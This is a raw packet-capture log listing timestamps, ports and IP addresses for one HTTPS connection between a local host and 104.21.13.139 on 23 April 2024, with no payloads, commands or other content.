Apr 23, 2024 14:44:58.104576111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.104619026 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.104631901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.104635954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.104680061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.105149031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.105164051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.105212927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.105218887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.105947018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.105968952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.105999947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.106004953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.106030941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.106777906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.106791973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.106848001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.106853008 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107067108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107084990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107129097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.107134104 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107161045 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.107896090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107908964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.107975960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.107983112 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.108691931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.108710051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.108760118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.108763933 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.108797073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.109407902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109421968 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109469891 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.109477043 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109493971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.109697104 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109713078 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109750032 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.109756947 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.109767914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.110586882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.110601902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.110646963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.110651016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.110661030 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.111474991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.111494064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.111535072 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.111538887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.111561060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.112066984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112080097 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112116098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.112123013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112153053 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.112391949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112421036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112449884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.112457037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.112483025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.113271952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.113286972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.113331079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.113336086 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.113358021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.113970041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.113986969 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.114049911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.114057064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.114326954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.114340067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.114382982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.114387989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.115263939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.115281105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.115330935 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.115335941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116120100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116132975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116175890 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.116183043 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116209030 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.116831064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116848946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116902113 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.116906881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.116933107 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.117053986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117068052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117100954 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.117105961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117129087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.117873907 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117891073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117928028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.117933035 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.117944956 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.118849039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.118861914 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.118911982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.118916988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.118942976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.119582891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119600058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119652033 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.119657993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119808912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119821072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119859934 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.119864941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.119890928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.120697021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.120716095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.120755911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.120759964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.120776892 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.121361017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.121373892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.121427059 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.121431112 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.121455908 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.122123957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122142076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122183084 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.122188091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122215986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.122450113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122462988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122504950 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.122509956 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.122534990 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.123343945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.123362064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.123409986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.123414993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.123445034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.124123096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.124135971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.124193907 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.124200106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.124222040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.124365091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.124382019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.124453068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.124459982 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.125368118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.125386953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.125433922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.125437975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.125952959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.125971079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126010895 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.126014948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126039982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.126791954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126806021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126868963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.126873016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126975060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.126991987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.127032042 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.127036095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.127068043 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.127954006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.127966881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.128031015 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.128036976 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.128695011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.128712893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.128760099 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.128765106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.128776073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.129607916 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.129621029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.129667997 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.129673004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.129698038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.130333900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.130352020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.130398989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.130404949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.130429029 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.130552053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.130564928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.130614996 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.130620003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.131445885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.131463051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.131494045 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.131498098 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.131522894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.132237911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132251978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132309914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.132314920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132456064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132479906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132517099 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.132522106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.132550001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.133397102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.133409977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.133472919 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.133480072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.134069920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.134087086 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.134139061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.134144068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.134979010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.134993076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135032892 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.135037899 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135063887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.135135889 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135153055 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135185957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.135191917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135200024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.135947943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.135962009 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.136006117 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.136010885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.136805058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.136837959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.136859894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.136863947 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.136892080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.137516975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.137530088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.137574911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.137581110 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.137942076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.137964964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.137995958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.138000965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.138011932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.138737917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.138750076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.138794899 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.138799906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.139550924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.139575005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.139605999 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.139611006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.139622927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.140259981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140273094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140316963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.140322924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140347004 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.140548944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140574932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140602112 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.140607119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.140630960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.141339064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.141352892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.141479969 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.141486883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142298937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142314911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142354965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.142360926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142385960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.142396927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142415047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142442942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.142446995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.142469883 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.143250942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.143274069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.143310070 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.143313885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.143341064 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.143990993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.144006014 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.144059896 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.144064903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.144942999 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.144961119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.145005941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.145010948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.145045996 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.145143032 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.145159960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.145195961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.145201921 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.145221949 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.146013975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146032095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146100998 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.146107912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146152020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.146846056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146858931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146903992 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.146908998 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.146929979 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.147711039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.147727966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.147769928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.147775888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.147789955 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.147933960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.147947073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.147988081 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.147994041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.148019075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.148781061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.148798943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.148833990 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.148840904 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.148873091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.149601936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.149615049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.149652004 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.149657011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.149682045 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.150360107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150377035 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150409937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.150413990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150453091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.150580883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150599003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150624037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.150628090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.150654078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.151444912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.151463032 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.151500940 CEST	49738	443	192.168.2.4	104.21.13.139
